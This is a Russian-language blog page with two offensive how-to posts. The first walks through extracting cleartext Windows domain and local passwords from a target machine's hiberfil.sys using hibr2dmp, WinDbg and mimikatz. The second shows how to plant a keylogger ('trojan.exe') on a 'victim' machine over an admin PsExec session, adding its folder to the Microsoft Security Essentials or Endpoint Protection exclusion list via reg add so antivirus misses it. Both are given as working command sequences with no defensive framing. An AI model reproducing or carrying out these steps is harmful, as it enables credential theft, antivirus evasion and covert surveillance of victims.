Ярлыки

понедельник, 16 февраля 2015 г.

Восстанавливаем локальные и доменные пароли из hiberfil.sys

Утилита mimikatz, позволяющая извлекать учётные данные Windows из LSA в открытом виде, существует с 2012 года, однако помимо хорошо освещённого функционала восстановления паролей из памяти работающей ОС у неё есть ещё одна довольно интересная возможность. Далее я приведу пошаговую инструкцию, как при помощи нехитрых действий извлечь учётные данные из файла hiberfil.sys.

Подготовка


Для осуществления задуманного нам понадобятся следующие утилиты:

Действия


1. Получаем файл hiberfil.sys с целевой машины.

2. Конвертируем файл в формат понятный WinDbg

hibr2dmp.exe d:\temp\hiberfil.sys c:\temp\hiberfil.dmp

Процесс может занять довольно продолжительное время


3. Запускаем WinDbg и открываем полученный файл 

File -> Open Crash Dump

4. Настраиваем отладочные символы

Открываем File -> Symbol File Pathи вписываем следующую строчку

SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

Вместо c:\symbols, естественно, может быть любой каталог, в который будут загружены символы 


В командной строке дебаггера пишем

0: kd> .reload /n

Ждём окончания загрузки символов


5. Указываем путь к библиотеке mimilib.dll (находится в каталоге с mimikatz)

0: kd> .load z:\Soft\Security\Passwords\Mimikatz\x64\mimilib.dll


6. Находим адрес процесса lsass.exe

0: kd> !process 0 0 lsass.exe


В данном случае адрес: fffffa800a7d9060

7. Переключаем контекст процесса

0: kd> .process /r /p fffffa800a7d9060


8. Запускаем mimikatz и получаем пароли в открытом виде

0:kd> !mimikatz




Ссылки по теме


Раскрытие учетных данных в Microsoft Windows: http://www.securitylab.ru/vulnerability/420418.php




воскресенье, 15 февраля 2015 г.

Удалённая установка кейлоггера на компьютер с Microsoft Security Essentials или System Center Endpoint Protection

Дано: Сессия PsExec (либо любая другая) с административными привилегиями на машине жертвы. У жертвы установлен Microsoft Security Essentials либо System Center Endpoint Protection.
Задача: Незаметно для жертвы установить кейлоггер.

Разберём неправильный и правильный способ решения данной задачи.

Неправильный способ


Для начала проверим, что произойдёт, если попробовать установить логгер "в лоб" без всяких ухищрений. Собираем бинарник, задаём в качестве рабочей директории что-нибудь неприметное, например c:\Windows\SysWOW64\WindowsPowerShell\

1. Открываем сессию PsExec



2. Кидаем установщик логгера в директорию c:\Windows\SysWOW64\WindowsPowerShell\ и запускаем

c:\Windows\SysWOW64\WindowsPowerShell\trojan.exe




Ищем процесс кейлоггера

tasklist /fi "IMAGENAME eq VME.exe"






Его нет. А почему? Да потому что, антивирус успешно отработал и радостно сообщил об этом жертве.






Операция провалена...

Правильный способ


Теперь пойдём другим путём и установим логгер в директорию, которая не будет проверятся антивирусом.

Список исключений для Microsoft Security Essentials хранится в ключе реестра HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths

1. Для начала проверим его содержимое

reg query "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths"









В данном случае список исключений пуст.  

2. Добавим в исключения директорию c:\Windows\SysWOW64\WindowsPowerShell\

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths" /v c:\Windows\SysWOW64\WindowsPowerShell\ /d "1" /t REG_DWORD

и проверим результат

reg query "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths"




3. Помещаем логгер в выбранный нами каталог и запускаем его

c:\Windows\SysWOW64\WindowsPowerShell\trojan.exe


Проверяем результат:

tasklist /fi "IMAGENAME eq VME.exe"


PROFIT! Логгер запущен, а антивирус жертвы ни о чём не подозревает



























Поправка на домен


В случае когда жертва является членом домена AD и вместо Essentials у неё установлен System Center Endpoint Protection, логика действий будет немного другой. Endpoint Protection, как и  Essentials хранит исключения в HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths, но их список, скорее всего, будет настроен централизованно через политики защиты. В этом случае наши изменения будут перезаписаны после повторного применения политики, поэтому у нас есть два варианта действий:
  • Если список исключений задан (в реестре есть какие-либо записи) устанавливаем логгер в любой из перечисленных там каталогов;
  • Если список исключений не задан (записи в реестре отсутствуют) то политика исключений не настроена и мы можем смело вписывать туда нужный нам каталог.
В остальном порядок действий ничем не отличается.